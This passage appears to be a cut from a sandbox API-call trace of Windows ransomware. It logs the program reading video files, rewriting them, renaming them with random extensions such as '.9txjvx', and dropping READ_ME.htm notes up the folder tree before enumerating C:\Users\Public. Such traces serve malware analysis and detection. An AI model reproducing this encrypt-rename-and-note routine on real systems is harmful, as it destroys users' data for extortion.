nNumberOfBytesToWrite=0xdf80, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x2876d80*, lpNumberOfBytesWritten=0x21d318*=0xdf80, lpOverlapped=0x0) returned 1 [0159.874] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv", lpFilePart=0x0) returned 0x49 [0159.874] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv.9txjvx", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv.9txjvx", lpFilePart=0x0) returned 0x50 [0159.874] SetErrorMode (uMode=0x1) returned 0x0 [0159.875] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\o-nl.flv"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf782a10, ftCreationTime.dwHighDateTime=0x1d8b1b9, ftLastAccessTime.dwLowDateTime=0xc9aa6ce0, ftLastAccessTime.dwHighDateTime=0x1d8b1c6, ftLastWriteTime.dwLowDateTime=0x5bc3d960, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xdf80)) returned 1 [0159.875] SetErrorMode (uMode=0x0) returned 0x1 [0159.875] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\o-nl.flv"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\O-Nl.flv.9txjvx" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\o-nl.flv.9txjvx")) returned 1 [0159.876] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4", lpFilePart=0x0) returned 0x58 [0159.876] SetErrorMode (uMode=0x1) returned 0x0 [0159.876] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\v2mn8jsxe2wt-pjaw2f.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.876] GetFileType (hFile=0x1d0) returned 0x1 [0159.876] SetErrorMode (uMode=0x0) returned 0x1 [0159.876] GetFileType (hFile=0x1d0) returned 0x1 [0159.877] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x13b27 [0159.877] ReadFile (in: hFile=0x1d0, lpBuffer=0x2885d60, nNumberOfBytesToRead=0x13b27, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x2885d60*, lpNumberOfBytesRead=0x21d298*=0x13b27, lpOverlapped=0x0) returned 1 [0159.917] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4", lpFilePart=0x0) returned 0x58 [0159.917] SetErrorMode (uMode=0x1) returned 0x0 [0159.918] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\v2mn8jsxe2wt-pjaw2f.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.920] GetFileType (hFile=0x1d0) returned 0x1 [0159.920] SetErrorMode (uMode=0x0) returned 0x1 [0159.920] GetFileType (hFile=0x1d0) returned 0x1 [0159.920] WriteFile (in: hFile=0x1d0, lpBuffer=0x29a0d18*, nNumberOfBytesToWrite=0x13b30, lpNumberOfBytesWritten=0x21d318, lpOverlapped=0x0 | out: lpBuffer=0x29a0d18*, lpNumberOfBytesWritten=0x21d318*=0x13b30, lpOverlapped=0x0) returned 1 [0159.923] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4", lpFilePart=0x0) returned 0x58 [0159.924] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4.smsk4z", nBufferLength=0x105, lpBuffer=0x21cff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4.smsk4z", lpFilePart=0x0) returned 0x5f [0159.924] SetErrorMode (uMode=0x1) returned 0x0 [0159.924] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\v2mn8jsxe2wt-pjaw2f.mp4"), fInfoLevelId=0x0, lpFileInformation=0x21d240 | out: lpFileInformation=0x21d240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1e9070, ftCreationTime.dwHighDateTime=0x1d8bfcc, ftLastAccessTime.dwLowDateTime=0x76f05110, ftLastAccessTime.dwHighDateTime=0x1d8c0c9, ftLastWriteTime.dwLowDateTime=0x5bcafd80, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x13b30)) returned 1 [0159.924] SetErrorMode (uMode=0x0) returned 0x1 [0159.925] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\v2mn8jsxe2wt-pjaw2f.mp4"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\V2mn8JsxE2Wt-PJaw2f.mp4.smsk4z" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\v2mn8jsxe2wt-pjaw2f.mp4.smsk4z")) returned 1 [0159.931] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\READ_ME.htm", lpFilePart=0x0) returned 0x4c [0159.931] SetErrorMode (uMode=0x1) returned 0x0 [0159.931] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\IOKKHz-j j1T03E2Exf\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\iokkhz-j j1t03e2exf\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0159.932] GetFileType (hFile=0x1d0) returned 0x1 [0159.932] SetErrorMode (uMode=0x0) returned 0x1 [0159.932] GetFileType (hFile=0x1d0) returned 0x1 [0159.932] WriteFile (in: hFile=0x1d0, lpBuffer=0x29b8b08*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29b8b08*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0159.934] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\READ_ME.htm", lpFilePart=0x0) returned 0x38 [0159.939] SetErrorMode (uMode=0x1) returned 0x0 [0159.939] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0159.939] GetFileType (hFile=0x1d0) returned 0x1 [0159.940] SetErrorMode (uMode=0x0) returned 0x1 [0159.940] GetFileType (hFile=0x1d0) returned 0x1 [0159.940] WriteFile (in: hFile=0x1d0, lpBuffer=0x29bd0b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29bd0b8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0159.941] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\READ_ME.htm", lpFilePart=0x0) returned 0x2e [0159.942] SetErrorMode (uMode=0x1) returned 0x0 [0159.942] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0159.945] GetFileType (hFile=0x1d0) returned 0x1 [0159.945] SetErrorMode (uMode=0x0) returned 0x1 [0159.945] GetFileType (hFile=0x1d0) returned 0x1 [0159.945] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c1638*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x29c1638*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0159.947] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\READ_ME.htm", lpFilePart=0x0) returned 0x25 [0159.947] SetErrorMode (uMode=0x1) returned 0x0 [0159.947] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\videos\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0159.948] GetFileType (hFile=0x1d0) returned 0x1 [0159.948] SetErrorMode (uMode=0x0) returned 0x1 [0159.948] GetFileType (hFile=0x1d0) returned 0x1 [0159.949] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c5b98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x29c5b98*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0159.950] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21d070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\READ_ME.htm", lpFilePart=0x0) returned 0x1e [0159.950] SetErrorMode (uMode=0x1) returned 0x0 [0159.951] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0159.951] GetFileType (hFile=0x1d0) returned 0x1 [0159.951] SetErrorMode (uMode=0x0) returned 0x1 [0159.952] GetFileType (hFile=0x1d0) returned 0x1 [0159.952] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ca0d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d5d8, lpOverlapped=0x0 | out: lpBuffer=0x29ca0d8*, lpNumberOfBytesWritten=0x21d5d8*=0x720, lpOverlapped=0x0) returned 1 [0159.953] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0159.953] SetErrorMode (uMode=0x1) returned 0x0 [0159.954] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*" (normalized: "c:\\users\\public\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.954] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.954] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0159.954] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0159.954] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e00e660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0159.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0159.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e05a920, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0159.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0159.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0159.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0159.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0159.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0159.955] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0159.956] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.956] SetErrorMode (uMode=0x0) returned 0x1 [0159.956] GetFullPathNameW (in: lpFileName="C:\\Users\\Public", nBufferLength=0x105, lpBuffer=0x21d1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public", lpFilePart=0x0) returned 0xf [0159.956] SetErrorMode (uMode=0x1) returned 0x0 [0159.956] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*" (normalized: "c:\\users\\public\\*"), lpFindFileData=0x21d370 | out: lpFindFileData=0x21d370*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.957] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.957] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4dfe8500, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4dfe8500, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0159.957] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0159.957] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e00e660, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e00e660, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0159.957] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0159.957] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4e05a920, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4e05a920, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0159.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0159.958] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d380 | out: lpFindFileData=0x21d380*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, 